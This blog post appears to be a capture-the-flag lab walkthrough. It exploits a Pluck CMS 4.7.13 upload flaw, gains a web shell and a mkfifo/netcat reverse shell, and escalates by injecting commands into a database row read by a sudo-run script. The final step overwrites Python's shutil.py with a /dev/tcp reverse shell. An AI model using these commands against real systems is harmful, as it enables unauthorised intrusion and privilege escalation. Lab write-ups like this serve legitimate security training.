A not-so-easy room.

You can access the room here.

Hey there folks! As always after spinning up the machine we start with nothing else than nmap.

nmap 10.10.47.169                                  
Starting Nmap 7.94SVN ( https://nmap.org ) at XX-XX-XX XX:XX EST
Nmap scan report for 10.10.47.169
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds

So right after this head to the browser and open the web app. As we can see this is just a default Apache page so surely there must be hidden here. To find what that is let’s run dirsearch.

This reveals that a subdirectory is available called /app/, let’s go and see what it holds.

Those who have done a few CTFs know the drill when we find an app name with an exact version number, and that is to look up known exploits! Sure enough, the first Google search yielded an exploit-DB result that you can access here.

When we open up the pluck directory we are greeted by the following site.

If we go to the login.php endpoint we will see that only a password is required to enter however we do not have one yet. I tried a few basic combinations but it didn’t yield any results. After a few minutes of unsuccessful googling, I realised something, I had not tried the most basic password there is which is password!

Well, obviously this was the password 😀

Now if we get back to the exploit found a bit earlier we see that there are 4 parameters supplied by the user.

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]

After figuring out the password we have everything we need to run the exploit and see if it is the correct one.

python3 exploit.py 10.10.47.169 80 password /app/pluck-4.7.13/admin.php?action=files

If we go to the location given by the exploit we gonna see the following.

YAYY it worked!

Now I spent some time looking around using the web shell however navigating it (even if it is a better one like the one we uploaded) is not the most convenient and makes it impossible to interact with commands that require for example confirmation or a password. So with that in mind, I just tried to get a reverse shell. My go-to command is the following.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.205.117 9999 >/tmp/f

For some reason, this almost always works and is more stable than just a basic reverse shell. It worked this time too, so I stabilised it using this guide and then continued looking around.

Soon enough I came across some interesting files in the /opt directory.

Now let’s see what is inside test.py.

There is a password that seems to belong to the user Lucien. Now we can use this to SSH on the machine!

Sure enough here is our first flag!

Now it is important to not make the same mistake I did and DO NOT start looking around, the exploit is still doable if you do but it is going to be harder since what we need to do is check the command history with the cat ~/.bash_history command.

Now we are going to use the command and credentials here to check out the DB.

mysql -u lucien -p

It will prompt for a password which can be seen on the screenshot.

Unfortunately, I forgot to screenshot the name of the DB and cannot remember it but it is very distinct from the others so select that and then check out the table dreams.

SELECT * FROM dreams;

Now we need to add our reverse shell command to the tables dream section (I will explain in a bit why).

The reason we need this is that in the /opt folder we had a file called getDreams.py that was owned by the user death and when we read the file carefully it can be seen that it will query the dreamer and the dream in an unsafe way and echo it to the terminal, OR execute the command that is stored there. Now the reason why I used the reverse shell is because that was the first thing that came to my mind however adding $(/bin/bash) would also work and it avoids the usage of unstable reverse shells.

The next thing to check is sudo -l.

BINGO! We can run the getDreams.py as the user death!!!

And see if we can catch it on our machine.

YES there it is! Now let’s get our second flag.

Now let’s cat getDreams.py to get death‘s password.

After spending some time looking around I uploaded pspy64.py and ran it to see if there is anything interesting going on. After a few minutes, we get a hit.

Now here I got lucky because right before I checked that file I ran a search of what files are writeable by our user so it ended up looking like this.

As the screenshot shows restore.py uses the shutil.py library and it is writeable by us!!!!

Now we only have to overwrite it with our custom script and as before here we are going to make one more reverse shell.

echo "import os;os.system(\"bash -c 'bash -i >& /dev/tcp/10.8.205.117/3456 0>&1'\")" > /usr/lib/python3.8/shutil.py

Now let’s set up our listening Netcat and see what happens.

There is our last flag! Congratulations, we have completed this challenge!

Now I have a few remarks regarding this challenge. It is marked as easy but I would say it could be categorised as medium, not because of the difficulty of the techniques needed but because the enumeration of these vulnerabilities takes a lot of time and some experience to know that these files were vulnerable.

With that said it was also a very fun challenge and I would say that this is as close as an easy room can get to a real-world scenario. In a real pentest most of the time the first things we check are files created by the users and the commands they used before because there is a chance that they made some scripts that are not secure or they entered some commands that we can leverage further.

I hope you enjoyed this write-up I sure do love making these! I have still not decided if I should make a YouTube channel focusing on cybersecurity or not but I am tilting towards a yes.

Thank you for tagging along! If you like my content you can check out more of my posts and write-ups here.

Thank you for reading!
Sincerely,
B4D4M.